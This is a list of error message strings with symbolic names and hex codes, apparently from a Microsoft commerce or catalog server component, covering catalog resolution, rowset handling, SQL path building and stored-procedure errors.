Error: Partition lookup failure. Link Table name: %1, Partition name: %2, SCODE: %2 | MSCOP_E_PartitionLookupFailureInCLinkTblInfoValidation | 0xCA3A8060L
Error: Partition not found in the Catalog map (by Name). Link Table name: %1, Partition name: %2, SCODE: %3 | MSCOP_E_PartitionNotFoundInCValTblInfoValidation | 0xCA3A8051L
Error: Member of a Class persisted in the SQL store does not have Column defined. Member name: %1, Class name: %2 | MSCOP_E_PersistentSQLMemberWithoutColumInMemDefValidation | 0xCA3A8044L
Error: Member: %1 is marked as Primary Key, but there is no Primary Key defined on Class: %2 | MSCOP_E_PrimaryKeyMemWithNoPrimaryKeyInMemDefValidation | 0xCA3A8045L
GenerateDBInsertJob failed in CProcessingClass::GenerateDBSaveJob. hr: %1 | MSCOP_E_ProcClassSaveDBInsertFail | 0xCA1A802EL
Query Interface for ICommandWithParameters failed, hr = %1 | MSCOP_E_QIICommandWithParametersFailed | 0xCA478049L
QueryInterface for IID_IDBProperties failed, hr = %1 | MSCOP_E_QIIDBPropertiesFailed | 0xCA47804BL
Query Interface for IID_IDBSchemaRowset failed, hr = %1 | MSCOP_E_QIIDBSchemaRowsetFailed | 0xCA478057L
Query Interface for ITransaction failed, hr = %1 | MSCOP_E_QIITransactionFailed | 0xCA478039L
Error initializing Rowset properties (%1) | MSCOP_E_ROWSETAccessorInitializationFailed | 0xCA278002L
Element in row cache from Storage is NULL | MSCOP_E_ROWSETElementInRowCacheNULL | 0xCA278008L
PopulateMemberArray(), Error initializing MemberDef array (%1) | MSCOP_E_ROWSETErrorInitializingMemDefArray | 0xCA278005L
Rowset(%1)::Init - Error retrieving initial batch of row data from storage layer (%2), batch : %3 | MSCOP_E_ROWSETFailedRetrievingRowsFromStorageLayer | 0xCA278003L
GetData(), Error allocating memory (for the client) for HROW's | MSCOP_E_ROWSETGetDataEOM | 0xCA278009L
GetRowFromHROW(),Out of memory creating member def array | MSCOP_E_ROWSETGetRowFromHROWEOM | 0xCA278006L
GetRowFromHROW(), Error initializing Row (%1) | MSCOP_E_ROWSETGetRowFromHROWInitializeRowFailed | 0xCA278007L
Error initializing Rowset properties (%1) | MSCOP_E_ROWSETPropertyInitializationFailed | 0xCA278001L
Rowset(%1) RefreshCachedRows() Error retrieving initial batch of row data from storage layer (%2), batch: %3 | MSCOP_E_ROWSETRefreshCachedRowsErrorRetrievingRowsFromStorageLayer | 0xCA27800AL
Error: Failed while Validating Reference ID Column. Relation name: %1, Column name: %2, SCODE: %3 | MSCOP_E_RefIDColValidationFailedInCreateMem | 0xCA3A80CFL
Error: Failed while Validating Reference ID Member. Relation name: %1, Member name: %2, SCODE: %3 | MSCOP_E_RefIDMemValidationFailedInCreateMem | 0xCA3A80D0L
Error: Failed while validating Reference ID Relation Member Definition. Relation name: %1, Ref ID Member name: %2, SCODE: %3 | MSCOP_E_RefIDRelMemValidationFailedInCreateMem | 0xCA3A80D3L
Error: Failed to initialize RelDef list for View name: %1, Class name: %2, SCODE: %3 | MSCOP_E_RelDefListInitFailedInViewDefValidation | 0xCA3A807EL
Error: RelDef lookup error while processing Relation Member Def. Relation name: %1, SCODE: %2 | MSCOP_E_RelDefLookupErrorInRelMemDefValidation | 0xCA3A80E4L
Not enough memory to allocate RelMemDefArray for Member: %1, Class name: %2 | MSCOP_E_RelMemDefArrayAllocFailedInCreateMem | 0xCA3A80CBL
Error: Type mismatch in RelMemDef validation. Parent MemDef: %1, Child MemDef: %2 | MSCOP_E_RelMemTypeMismatchInRelMemDefValidation | 0xCA3A80E6L
Error releasing ICommand semaphore. SCODE: %1 | MSCOP_E_ReleaseICommandSemaphoreFailed | 0xCA47800FL
Error releasing IRowsetFastLoad semaphore. SCODE: %1 | MSCOP_E_ReleaseIRowsetFastLoadSemaphoreFailed | 0xCA478010L
ReleaseRows failed, hr = %1 | MSCOP_E_ReleaseRowsFailed | 0xCA47804DL
ResetConnection failed. SCODE: %1 | MSCOP_E_ResetConnectionFailure | 0xCA478029L
Not enough memory to allocate buffers during Catalog Resolve | MSCOP_E_ResolveBuffersEOM | 0xCA378023L
BuildRelDefsByClassIDMap(), Too many nested calls | MSCOP_E_ResolveBuildRelDefsByClassIDMapFailed | 0xCA378039L
Error: Failed creating child mem col to child mem map: %1, err: %2 | MSCOP_E_ResolveChildMemColToChildMemMapFailed | 0xCA378038L
Circular references found in Classes for Catalog: %1 | MSCOP_E_ResolveCircularReferences | 0xCA37803BL
CollectParentCreationInfo(), invalid rel matrix entry, parent: %1, child: %2 | MSCOP_E_ResolveCollectParentCreationInfoInvalidRelMatrix | 0xCA37803EL
Corrupt RelDefMapByName structure found during Catalog Resolve. SCODE: %1 | MSCOP_E_ResolveCorruptRelDefMapByName | 0xCA37802CL
Failure in CMbCatalog::CreateColumnIndexInfo(), hr: %1, class: %2 | MSCOP_E_ResolveCreateColumnIndexInfoFailed | 0xCA37802AL
Error: Failed creating default View for Class: %1, SCODE: %2 | MSCOP_E_ResolveCreateDefaultViewFailed | 0xCA378028L
Error: Invalid number of child classes in CreateParentCreationInfo::Create, class: %1 | MSCOP_E_ResolveCreateParentCreationInfoInvalidChildClassCount | 0xCA37803DL
Error: Create RelDef instance for Child Class failed during SynthesizeRelDef. Relation name: %1, Class name: %2, SCODE: %3 | MSCOP_E_ResolveCreateRelDefForChildFailed | 0xCA378026L
Error: Failure in Catalog::CreateRelMatrix, hr = %1, class: %2 | MSCOP_E_ResolveCreateRelMatrixFailed | 0xCA378030L
Not enough memory to allocate a DB table column index mapping array for class %1 | MSCOP_E_ResolveDBTableColIndexMapArrayOOM | 0xCA378029L
Failure in Catalog::Resolve. DetermineParentClasses failed with error, hr: %1 | MSCOP_E_ResolveDetermineParentClassesFailed | 0xCA37802EL
Error: failure in catalog resolve, hr: %1 | MSCOP_E_ResolveFailure | 0xCA378024L
GenerateLinkInfo failed for Class: %1, Member: %2, SCODE: %3 | MSCOP_E_ResolveGenerateLinkInfoFailed | 0xCA378031L
GenerateValInfo failed for Class: %1, Member: %2, SCODE: %3 | MSCOP_E_ResolveGenerateValInfoFailed | 0xCA378032L
Error: generation of Multi SP names failed, Member name: %1, Class name: %2, hr: %3 | MSCOP_E_ResolveMVSPGenerationFailed | 0xCA378034L
Parent key definition, %1, does not exist in attempted auto-generated relation definition, %2, SCODE: %3 | MSCOP_E_ResolveNoParentKeyDefinition | 0xCA378025L
Error in Parent Class recursion for Class: %1 | MSCOP_E_ResolveParentClassRecursionError | 0xCA37803CL
Error: Failed creating parent mem col to child mem map: %1, err: %2 | MSCOP_E_ResolveParentMemColToChildMemMapFailed | 0xCA378037L
Error: PartitionDef lookup error while processing Class name: %1. Partition name: %2, SCODE: %3 | MSCOP_E_ResolvePartitionDefLookupFailure | 0xCA37802BL
Error adding Partition: %1 to ClsDef: %2 | MSCOP_E_ResolvePartitionsAddToClsDefFailed | 0xCA37801CL
Error: PartitionDef lookup error while processing Class name: %1. Partition name: %2, SCODE: %3 | MSCOP_E_ResolvePartitionsClassLookupFailed | 0xCA37801BL
Missing member name for Partition: %1 | MSCOP_E_ResolvePartitionsMissingMemberForPartition | 0xCA378020L
Missing selector for Partition: %1 | MSCOP_E_ResolvePartitionsMissingSelectorForPartition | 0xCA37801EL
Missing switch type symbol: %1 | MSCOP_E_ResolvePartitionsMissingSwitchType | 0xCA37801DL
Failed resolving the partition definition: %1 | MSCOP_E_ResolvePartitionsPartitionDefResolveFailed | 0xCA37801AL
ResolvePartitions(), Failed resolving the partition switch expression: %1 for class: %2 | MSCOP_E_ResolvePartitionsSwitchExpressionResolveFailed | 0xCA378019L
Unknown member name for Partition: %1 | MSCOP_E_ResolvePartitionsUnknownMemberForPartition | 0xCA378021L
Unknown selector for Partition: %1 | MSCOP_E_ResolvePartitionsUnknownSelectorForPartition | 0xCA37801FL
Unknown switch type symbol: %1 | MSCOP_E_ResolvePartitionsUnknownSwitchTypeSymbol | 0xCA378022L
Not enough memory to allocate Persistent MemberPairArray during Catalog Resolve. | MSCOP_E_ResolvePersistentMemberPairArrayOOM | 0xCA37803FL
Not enough memory to allocate RelDefLists by Local ClassID Map | MSCOP_E_ResolveRelDefListsOOM | 0xCA37803AL
Invalid Key Mem Type found in ResolveClsKeyCaches for Class %1, Key %2 Member %3 | MSCOP_E_ResolveResolveClsKeyCachesInvalidMemberType | 0xCA378044L
Class %1 has more than one Key <%2> Only one Key allowed for Key Cache. | MSCOP_E_ResolveResolveClsKeyCachesMoreThanOneKey | 0xCA378040L
Class %1 Key %2 has more than one Member <%3>. Only one Key Member allowed for Key Cache. | MSCOP_E_ResolveResolveClsKeyCachesMoreThanOneKeyMember | 0xCA378041L
NULL Key Def found in ResolveClsKeyCaches for Class %1 | MSCOP_E_ResolveResolveClsKeyCachesNULLKeyDef | 0xCA378042L
NULL Key Mem Def found in ResolveClsKeyCaches for Class %1, Key %2 | MSCOP_E_ResolveResolveClsKeyCachesNULLKeyMemDef | 0xCA378043L
Not enough memory to allocate a Key Cache for Class %1. | MSCOP_E_ResolveResolveClsKeyCachesOutOfMemory | 0xCA378045L
Error: Failed creating ResolveFullMemNames, class: %1, SCODE: %2 | MSCOP_E_ResolveResolveFullMemNamesFailed | 0xCA378035L
Error: Failed creating ResolveRefMems, class: %1, SCODE: %2 | MSCOP_E_ResolveResolveRefMemsFailed | 0xCA378036L
Not enough memory to allocate TSlotArray during Catalog Resolve. | MSCOP_E_ResolveTSlotArrayEOM | 0xCA37802DL
Error: Value Table lookup error while processing multi value Member. Member name: %1, Class name: %2, Value Table name: %3, SCODE: %4 | MSCOP_E_ResolveValTableLookupFailure | 0xCA378033L
Could not retrieve IsLoaded flag on member %1 | MSCOP_E_RowGetCRowDataCouldNotReadIsLoaded | 0xCA24800DL
Could not retrieve Updated flag on member %1 | MSCOP_E_RowGetCRowDataCouldNotReadUpdated | 0xCA24800EL
LoadMember failed for %1, hr=%2. | MSCOP_E_RowGetCRowDataLoadMemberFailed | 0xCA24800FL
Errors occurred in CRowImpl::GetColumns. (%1) | MSCOP_E_RowGetColumnsFailure | 0xCA24800CL
Validation of the column %1 failed.(%2) | MSCOP_E_RowImplColumnValidationFailed | 0xCA248004L
Can only delete the current row | MSCOP_E_RowImplInvalidRowForDelete | 0xCA248008L
Provider does not support Async operations | MSCOP_E_RowImplNoAsyncOperations | 0xCA248007L
No Join key specified for the class %1 - cannot perform SetColumns() operation. | MSCOP_E_RowImplNoJoinKey | 0xCA248006L
CRowImpl::ValidateData(), Error - member %1 is a required member which isn't set | MSCOP_E_RowImplRequiredMemberNotSet | 0xCA248003L
Validation of the row failed - Make sure required fields are set (%1) | MSCOP_E_RowImplRowValidationFailed | 0xCA248005L
Could not add member definition to MemberInfoList (%1) | MSCOP_E_RowMemberInfoListAdditionFailure | 0xCA24800AL
Session - Could not get the active catalog (%1) | MSCOP_E_SESSIONFailedToGetActiveCatalog | 0xCA2A8001L
Cannot have more than one catalog change session active | MSCOP_E_SESSIONMoreThanOneChangeSessionActive | 0xCA2A8002L
Unable to initialize Data source Properties | MSCOP_E_SESSIONUnableToInitializeDataSourceProperties | 0xCA2A8003L
Reconnect to SQL Server failed on all %1 attempts. Server: %2, Database: %3, ConnectionID: %4 | MSCOP_E_SQLResetConnectionFailure | 0xCA488034L
Lost connection to SQL Server | MSCOP_E_SQLServerConnectionFailed | 0xCA47801EL
Not enough memory to add element to path. | MSCOP_E_SQLTransPathAddElementOOM | 0xCA34804CL
Unable to add intermediate elements to path to help reach member. hr=%1 | MSCOP_E_SQLTransPathAddIntermediatePathFailed | 0xCA34804FL
be ambiguous. | MSCOP_E_SQLTransPathAmbiguousMember | 0xCA34804BL
Please be more specific in your path to the member %1 | MSCOP_E_SQLTransPathAmbiguousParent | 0xCA348050L
Comparitive Operator is BETWEEN or NOT BETWEEN but there are not two values specified in where element. | MSCOP_E_SQLTransPathBadBetweenClause | 0xCA34805BL
Element specified to add to path is bad. hr=%1, ElementName = %2, Path = %3 | MSCOP_E_SQLTransPathBadElementNoBisquit | 0xCA348053L
SQL Query must have RootClasses the same for all things being selected or filtered. | MSCOP_E_SQLTransPathBadRootClasses | 0xCA34805EL
Attempted to add the same classdef named %1 twice in a row to a path - this is not allowed. | MSCOP_E_SQLTransPathDuplicateClsDefInPath | 0xCA348051L
Comparitive Operator is invalid. | MSCOP_E_SQLTransPathInvalidComparitiveOperator | 0xCA34805CL
Invalid Comparitive Operator encountered while building SQL expression. | MSCOP_E_SQLTransPathInvalidComparitiveOperatorBuildingExpression | 0xCA348062L
Invalid comparitive operator value. | MSCOP_E_SQLTransPathInvalidComparitiveOperatorValue | 0xCA348066L
Path:%3 | MSCOP_E_SQLTransPathInvalidPath | 0xCA348060L
Compare:%3 | MSCOP_E_SQLTransPathInvalidPathCompare | 0xCA348061L
Not allowed to have a value specified with this type of comparitive operator. | MSCOP_E_SQLTransPathInvalidValueForOperator | 0xCA348064L
Ambiguous Path to Non-Persistent RelMember | MSCOP_E_SQLTransPathLastAmbiguousNonPersistentRelMem | 0xCA348049L
Last element in the list is already a member | MSCOP_E_SQLTransPathLastElementAlreadyMember | 0xCA348047L
SqlPathElement::Invalid element type specified for information given. ElementType = %1 | MSCOP_E_SQLTransPathLastInvalidElementType | 0xCA348048L
Last Element of the Path is not a member | MSCOP_E_SQLTransPathLastPathElementNotMember | 0xCA348055L
Not enough memory for additional path element. | MSCOP_E_SQLTransPathLastPathElementOOM | 0xCA34804AL
but because of possible internal corruption we got a failure and it is not reachable. | MSCOP_E_SQLTransPathMemberNotReachable | 0xCA34804EL
There is more than one valid path between %1 and %2 | MSCOP_E_SQLTransPathMultiplePaths | 0xCA348052L
SqlPathElement::Invalid (NULL) pointer to catalog or path specified | MSCOP_E_SQLTransPathNULLCatalog | 0xCA348046L
Invalid (NULL) Catalog parameter Passed to CSqlPath::Init() | MSCOP_E_SQLTransPathNULLCatalogInInit | 0xCA348056L
Comparitive Operator is NULL or NOT NULL but there are values specified in where element. | MSCOP_E_SQLTransPathNULLWithValues | 0xCA348059L
Comparitive Operator not specified in where element. | MSCOP_E_SQLTransPathNoComparitiveOperator | 0xCA348057L
Comparitive Operator is IN but there are no values specified in where element. | MSCOP_E_SQLTransPathNoINValues | 0xCA348058L
Zero Paths available from the specified class to the specified member. | MSCOP_E_SQLTransPathNoPathToMember | 0xCA34804DL
Comparitive Operator does not have 1 value. | MSCOP_E_SQLTransPathNoSingleValue | 0xCA34805AL
Not able to add another value. | MSCOP_E_SQLTransPathNotAbleToAddValue | 0xCA348065L
Not enough memory to allocate virtual memory to produce SQL expression. | MSCOP_E_SQLTransPathSQLExpressionOOM | 0xCA34805FL
Not allowed to have more than one value with this type of comparitive operator. | MSCOP_E_SQLTransPathTooManyValuesForOperator | 0xCA348063L
Path is 0 length, therefore invalid | MSCOP_E_SQLTransPathZeroPathLength | 0xCA348054L
SQL Query must consist of at least one select path. | MSCOP_E_SQLTransPathZeroSelectPath | 0xCA34805DL
Error: in inserting row, cls: %1, index: %2, id: %3" | MSCOP_E_SaveInsertRowFailure | 0xCA1A8004L
Column Data: %1 | MSCOP_E_SaveInsertRowFailureDetail | 0xCA1A8005L
Error: Failed to add Member to Save list. Object display name: %1, SCODE: %2 | MSCOP_E_SaveListAdditionFailure | 0xCA3A808BL
Error: No unique data pointer for non null value id, class: %1, mem: %2 | MSCOP_E_SaveNoUniqueData | 0xCA1A8006L
The command '%1' requires Schema Change Mode to be disabled. | MSCOP_E_SchemaChangeModeEnabled | 0xCA2D808BL
The command '%1' requires Schema Change Mode to be enabled. | MSCOP_E_SchemaChangeModeNotEnabled | 0xC8018003L
CreateTable(), exception caught | MSCOP_E_SchemaMgrCreateTableCatch | 0xCA348044L
CreateTable(), catch(hr), code: %1 | MSCOP_E_SchemaMgrCreateTableCatchHR | 0xCA348043L
No Column Definitions for multi value table creation. Table name: %1 | MSCOP_E_SchemaMgrNoColDefForMVTableCreation | 0xCA348045L
Failed adding a new DBSearchJob to the DBSearchGroup. SCODE: %1 | MSCOP_E_SearchAddDBSearchJobFailed | 0xCA1A8010L
Failed adding the DoneDBSearchJob as a dependent to a new DBSearchJob. SCODE: %1 | MSCOP_E_SearchAddDoneDBSearchJobFailed | 0xCA1A800FL
(%1:%2)cls: %3, S: exeception occurred, time: %4 | MSCOP_E_SearchException | 0xCA1A8013L
Searching for ignored rows, failed, Class: %1, SCODE: 0x%2 | MSCOP_E_SearchIgnoreRowsFailed | 0xCA1A800CL
Failed initializing the new DBSearchJob. SCODE: %1 | MSCOP_E_SearchInitDBSearchJobFailed | 0xCA1A800EL
Key-ID is full for Class: %1 (%2 instances). | MSCOP_E_SearchKeyIDCacheFull | 0xCA1A8016L
Key-ID Lookup returned error. SCODE: %1 | MSCOP_E_SearchKeyIDLookupError | 0xCA1A8014L
Error: No unique data pointer for non null value id, Class: %1, Member: %2 | MSCOP_E_SearchNoUniqueData | 0xCA1A800AL
Failed truncating the DBSearchJobInfo's Buffer | MSCOP_E_SearchTruncateBufferFailed | 0xCA1A800DL
Unable to initalize Server connection pool. Server: %1, SCODE: %2 | MSCOP_E_ServerConnectionPoolInitializationFailed | 0xCA478018L
Not enough memory to allocate new Server Connection pool. | MSCOP_E_ServerConnectionPoolPropertyObjectOOM | 0xCA478017L
Failed to find Server in map. Server: %1 | MSCOP_E_ServerLookupFailed | 0xCA478015L
A server name was not specified in the connection string | MSCOP_E_ServerRequired | 0xCA478059L
SetColOrdinals(), missing col : %1 | MSCOP_E_SetColOrdinalsMissingColumn | 0xCA47801FL
Error: Failed while setting Column name for Reference ID Member. Relation name: %1, Ref ID Member name: %2, SCODE: %3 | MSCOP_E_SetColumnNameFailedInCreateMem | 0xCA3A80CDL
Error: Unable to set default Column name in Member validation, err: %1, Member name: %2 | MSCOP_E_SetColumnNameFailure | 0xCA3A8036L
Error: Failed while setting Display name for Reference ID Member. Relation name: %1, Ref ID Member name: %2, SCODE: %3 | MSCOP_E_SetDisplayNameFailedInCreateMem | 0xCA3A80CCL
Attempt to set value for a generated property: %1 | MSCOP_E_SetOnGeneratedProperty | 0xC801800DL
Attempt to set read only data for property: %1 | MSCOP_E_SetOnReadOnlyProperty | 0xC801800CL
Set Parameter Info failed, hr = %1 | MSCOP_E_SetParameterInfoFailed | 0xCA47804AL
Error: SrcDef lookup error while processing Source Attribute Def. Source name: %1, Attribute name: %2, SCODE: %3 | MSCOP_E_SourceDefLookupErrorInSrcAttribValidation | 0xCA3A80F5L
Error: Source Def lookup failure. Source name: %1, Class name: %2, SCODE: %3 | MSCOP_E_SourceDefLookupFailureInClsDefValidation | 0xCA3A8091L
Error: Source Def lookup error while processing Partition. Partition name: %1, Source name: %2, SCODE: %3 | MSCOP_E_SourceDefLookupFailureInPartitionDefValidation | 0xCA3A809EL
Error: Space character found in Column name: %1. Stored procedure parameters cannot contain spaces. | MSCOP_E_SpaceInColNameInColDefValidation | 0xCA3A806CL
StartTransaction failed, hr = %1 | MSCOP_E_StartTransactionFailed | 0xCA47803AL
Error: StaticClsInfo::AddCreateMemberStmt(), Adding prefix/colname : preflen : %1, collen : %2 | MSCOP_E_StaticClsAddCreateMemberStmtAddStrFailed | 0xCA34807DL
Error: StaticClsInfo::AddUniqueIdentifier(), maxbuflen: %1, used: %2 | MSCOP_E_StaticClsAddUniqueIdentifierAddStrFailed | 0xCA348089L
Error: StaticClsInfo::AddUniqueIdentifier(), unexpected StaticClsInfo type %1 | MSCOP_E_StaticClsAddUniqueIdentifierInvalidStaticClsInfoType | 0xCA348088L
Error: StaticClsInfo::CreateDeleteStmt(), Adding initial DELETE failed for table: %1 | MSCOP_E_StaticClsCreateDeleteStmtAddDELETEStrFailed | 0xCA34809DL
Error: StaticClsInfo::CreateDeleteStmt(), Adding initial delete table name: %1 | MSCOP_E_StaticClsCreateDeleteStmtAddTableStrFailed | 0xCA348093L
Error: StaticClsInfo::CreateUpdateStmt(), Adding WHERE : %1, DBType: %2, Offset: %3 | MSCOP_E_StaticClsCreateDeleteStmtAddWHEREStrFailed | 0xCA348094L
Error: StaticClsInfo::CreateDeleteStmt() Unable to get Table name for Class. Display name: %1, ClsID: %2, SCODE: %3 | MSCOP_E_StaticClsCreateDeleteStmtGetTableNameFailed | 0xCA34809CL
Error: StaticClsInfo::CreateInsertStmt(), Adding colname : %1, maxbuflen: %2, used: %3 | MSCOP_E_StaticClsCreateInsertStmtAddColNameStrFailed | 0xCA34808FL
Error: StaticClsInfo::CreateInsertStmt(), Adding initial insert | MSCOP_E_StaticClsCreateInsertStmtAddInsertStrFailed | 0xCA34808DL
Error: StaticClsInfo::CreateInsertStmt(), Adding table name: %1 | MSCOP_E_StaticClsCreateInsertStmtAddTblNameStrFailed | 0xCA34808EL
Error: StaticClsInfo::CreateInsertStmt(), Adding static text: ) VALUES( SCODE: %1 | MSCOP_E_StaticClsCreateInsertStmtAddValuesTextStrFailed | 0xCA348090L
Error: StaticClsInfo::CreateInsertStmt(), Adding col : %1, DBType: %2, Offset: %3 | MSCOP_E_StaticClsCreateInsertStmtAddingColFailed | 0xCA348092L
Error: StaticClsInfo::CreateInsertStmt(), Fetching col : %1, DBType: %2, Offset: %3 | MSCOP_E_StaticClsCreateInsertStmtFetchColFailed | 0xCA348091L
Error: StaticClsInfo::CreateInsertStmt() WriteLocalizationTags failed, hr: %1 | MSCOP_E_StaticClsCreateInsertStmtWriteLocalizationFailed | 0xCA34808CL
Error: StaticClsInfo::CreateParseClsStmt(), Adding ClsDef | MSCOP_E_StaticClsCreateParseClsStmtAddClsDefStrFailed | 0xCA348082L
Error: StaticClsInfo::CreateParseClsStmt(), Adding end of ClsDef | MSCOP_E_StaticClsCreateParseClsStmtAddEOClsDefStrFailed | 0xCA348085L
Error: StaticClsInfo::CreateParseClsStmt(), getting parser type name for dbtype : %1, col : %2 | MSCOP_E_StaticClsCreateParseClsStmtGetParserTypeNameForDBTypeFailed | 0xCA348083L
Error: StaticClsInfo::CreateParseClsStmt(), Getting viewable clsname | MSCOP_E_StaticClsCreateParseClsStmtGetViewableClsNameFailed | 0xCA348081L
Error: StaticClsInfo::CreateSelectStmt(), adding WHERE to buf fmt failed: %1 | MSCOP_E_StaticClsCreateSelectStmtAddWHEREStrFailed | 0xCA348087L
Error: StaticClsInfo::CreateTblCreateStmt(), Adding initial Create | MSCOP_E_StaticClsCreateTblCreateStmtAddCreateStrFailed | 0xCA34807EL
Error: StaticClsInfo::CreateTblCreateStmt(), Adding Member : %1, datatype : %2 | MSCOP_E_StaticClsCreateTblCreateStmtAddMemberStrFailed | 0xCA34807FL
Error: StaticClsInfo::CreateUpdateStmt(), Adding colname : %1, maxbuflen: %2, used: %3 | MSCOP_E_StaticClsCreateUpdateStmtAddColNameStrFailed | 0xCA3480A2L
Error: StaticClsInfo::CreateUpdateStmt(), Adding initial update for table: %1 | MSCOP_E_StaticClsCreateUpdateStmtAddUPDATEStrFailed | 0xCA3480A1L
Error: StaticClsInfo::CreateUpdateStmt(), Adding colVAL : %1, DBType: %2, Offset: %3 | MSCOP_E_StaticClsCreateUpdateStmtAddingColValFailed | 0xCA3480A4L
Error: StaticClsInfo::CreateUpdateStmt(), Fetching col : %1, DBType: %2, Offset: %3 | MSCOP_E_StaticClsCreateUpdateStmtFetchingColFailed | 0xCA3480A3L
Error: StaticClsInfo::CreateWHEREClause(), Adding WHERE : %1, DBType: %2, Offset: %3 | MSCOP_E_StaticClsCreateWHEREClauseAddWHEREStrFailed | 0xCA34809EL
Error: StaticClsInfo::CreateWHEREClause(), No members marked as instance keys for | MSCOP_E_StaticClsCreateWHEREClauseNoKeyMembers | 0xCA3480A0L
Error: StaticClsInfo::CreateXMLStmt(), Adding closing > | MSCOP_E_StaticClsCreateXMLStmtAddCloseTokenStrFailed | 0xCA34809AL
Error: StaticClsInfo::CreateXMLStmt(), Adding colname : %1, maxbuflen: %2, used: %3 | MSCOP_E_StaticClsCreateXMLStmtAddColNameStrFailed | 0xCA348097L
Error: StaticClsInfo::CreateXMLStmt(), Adding colVAL : %1, DBType: %2, Offset: %3 | MSCOP_E_StaticClsCreateXMLStmtAddColValueStrFailed | 0xCA348099L
Error: StaticClsInfo::CreateXMLStmt(), Adding end visible name | MSCOP_E_StaticClsCreateXMLStmtAddEndVisibleNameStrFailed | 0xCA34809BL
Error: StaticClsInfo::CreateXMLStmt(), Adding initial update | MSCOP_E_StaticClsCreateXMLStmtAddInitialUpdateStrFailed | 0xCA348096L
Error: StaticClsInfo::CreateXMLStmt(), Adding initial visible name | MSCOP_E_StaticClsCreateXMLStmtAddVisibleNameStrFailed | 0xCA348095L
Error: StaticClsInfo::CreateXMLStmt(), Fetching col : %1, DBType: %2, Offset: %3 | MSCOP_E_StaticClsCreateXMLStmtFetchingColFailed | 0xCA348098L
Error: StaticClsInfo::GetBCInfo(), out of memory in allocating BCInfos count: %1 | MSCOP_E_StaticClsGetBCInfoOOM | 0xCA34807AL
Error: CMbStaticMapper::GetClsInfo(), Requested ClsID out of range: clsid: %1, max: %2 | MSCOP_E_StaticClsGetClsInfoClsIDOOR | 0xCA3480ABL
Error: StaticClsInfo::GetColumnInfo(), Filling col: %1 cls: %2 countmax: %3 cur count: %4 | MSCOP_E_StaticClsGetColumnInfoFillDBCOLUMNINFOFailed | 0xCA348079L
Error: StaticClsInfo::GetColumnInfo(), out of memory in allocating DBCOLINFO's for cls: %1 count: %2 | MSCOP_E_StaticClsGetColumnInfoOOM | 0xCA348078L
Error: StaticClsInfo::GetCreateSizeAndOtherInfo(), DBType: %1 | MSCOP_E_StaticClsGetCreateSizeAndOtherInfoInvalidDBTypeID | 0xCA34807CL
Error: StaticClsInfo::GetDBTypeName(), invalid DBType id: %1 | MSCOP_E_StaticClsGetDBTypeNameInvalidDBTypeID | 0xCA34807BL
Error: StaticClsInfo::GetParserTypeName(), DBType: %1 | MSCOP_E_StaticClsGetParserTypeNameInvalidDBType | 0xCA348080L
Error: StaticClsInfo::Init(), mem idx exceeds max mem idx in col info init, cls: %1, col name: %2, memIdx: %3 | MSCOP_E_StaticClsInfoInitColInfoInitMemMaxExceeded | 0xCA348074L
Error: StaticClsInfo::Init(), col name with no member, cls: %1, col name: %2, memIdx: %3 | MSCOP_E_StaticClsInfoInitColNameWithNoMember | 0xCA348075L
Error: StaticClsInfo::Init(), Duplicate Member Index, Class: %1, memIdx: %2 | MSCOP_E_StaticClsInfoInitDuplicateMemIndex | 0xCA348070L
Error: StaticClsInfo::Init(), Member index exceeds max Member index, Class: %1, memIdx: %2 | MSCOP_E_StaticClsInfoInitMaxIndexExceeded | 0xCA34806FL
Error: StaticClsInfo::Init(), fCustomGetSet is NULL when fUseCustom, idx: %1, c++ name: %2::%3 | MSCOP_E_StaticClsInfoInitNULLCustomGetSetFunc | 0xCA348071L
Error: StaticClsInfo::Init(), _fnGetSet is NULL when !fUseCustom, idx: %1, c++ name: %2::%3 | MSCOP_E_StaticClsInfoInitNULLGetSetFunc | 0xCA348072L
Error: StaticClsInfo::Init(), persistent mem with no col name, c++ name= %1::%2, memIdx: %3 | MSCOP_E_StaticClsInfoInitPersistentMemWithNoCol | 0xCA348076L
Error: StaticClsInfo::Init(), inconsistent persistent count, cls: %1, persist Idx: %2, count: %3 | MSCOP_E_StaticClsInfoInitPersistentMemberCountMismatch | 0xCA348073L
Error: StaticClsInfo::Init(), zero mem count, cls: %1 | MSCOP_E_StaticClsInfoInitZeroMembers | 0xCA34806DL
Error: CMbStaticMapper::MapColNameToMemInfo(), failed to add col name to map, cls: %1, col: %2 | MSCOP_E_StaticClsInitAddingColNameToMapFailed | 0xCA3480A9L
Error: CMbStaticMapper::MapMemNameToMemInfo(), failed to add mem name to map, cls: %1, col: %2 | MSCOP_E_StaticClsInitAddingMemNameToMapFailed | 0xCA3480AAL
CMbStaticMapper::Init(), class idx exceeds max cls idx, name: %1, idx: %2, max.idx: %3 | MSCOP_E_StaticClsInitClassIDOOR | 0xCA3480A7L
CMbStaticMapper::Init(), dup cls info, name: %1, idx: %2 | MSCOP_E_StaticClsInitDuplicateClassID | 0xCA3480A8L
CMbStaticMapper::Init(), error in initialization of maps, hr: %1 | MSCOP_E_StaticClsInitMapInitFailed | 0xCA3480A6L
CMbStaticMapper::Init(), out of memory | MSCOP_E_StaticClsInitOOM | 0xCA3480A5L
Error: ::TransferStringData(), out of memory in allocating String Buffer's for cls: %1 count: %2 | MSCOP_E_StaticClsTransferStringDataOOM | 0xCA348077L
Error: StaticClsInfo::WriteLocalizationTags(), Adding colname : %1, maxbuflen: %2, used: %3 | MSCOP_E_StaticClsWriteLocalizationAddColStrFailed | 0xCA34808BL
Error: StaticClsInfo::WriteLocalizationTags(), Fetching col : %1, DBType: %2, Offset: %3 | MSCOP_E_StaticClsWriteLocalizationTagsFetchColFailed | 0xCA34808AL
StaticMemInfo::FillBCInfo(), Member not persistent - colname: %1 | MSCOP_E_StaticMemInfoFillBCInfoMemberNotPersistent | 0xCA34806CL
Create Stored Procedure statement failed for Table:%1. Statement: %2, SCODE: %3 | MSCOP_E_StoredProcedureTableStatementFailed | 0xCA418006L
Error: No default key in SynthesizeRelDef. Parent class name: %1, Child class name: %2 | MSCOP_E_SynthesizeDefaultRelDefNoKey | 0xCA378027L
Error: Failed setting Physical table name. Partition name: %1, Source name: %2, Table name: %3, SCODE: %4 | MSCOP_E_TableNameDUPWStrFailureInPartitionDefValidation | 0xCA3A809DL
Error: TblDef lookup error while processing column. Column name: %1, Table name: %2, SCODE: %3 | MSCOP_E_TblDefLookupErrorInColDefValidation | 0xCA3A806DL
Error: TblDef lookup error while processing Partition. Partition name: %1, Table name: %2, SCODE: %3 | MSCOP_E_TblDefLookupFailureInPartitionDefValidation | 0xCA3A809CL
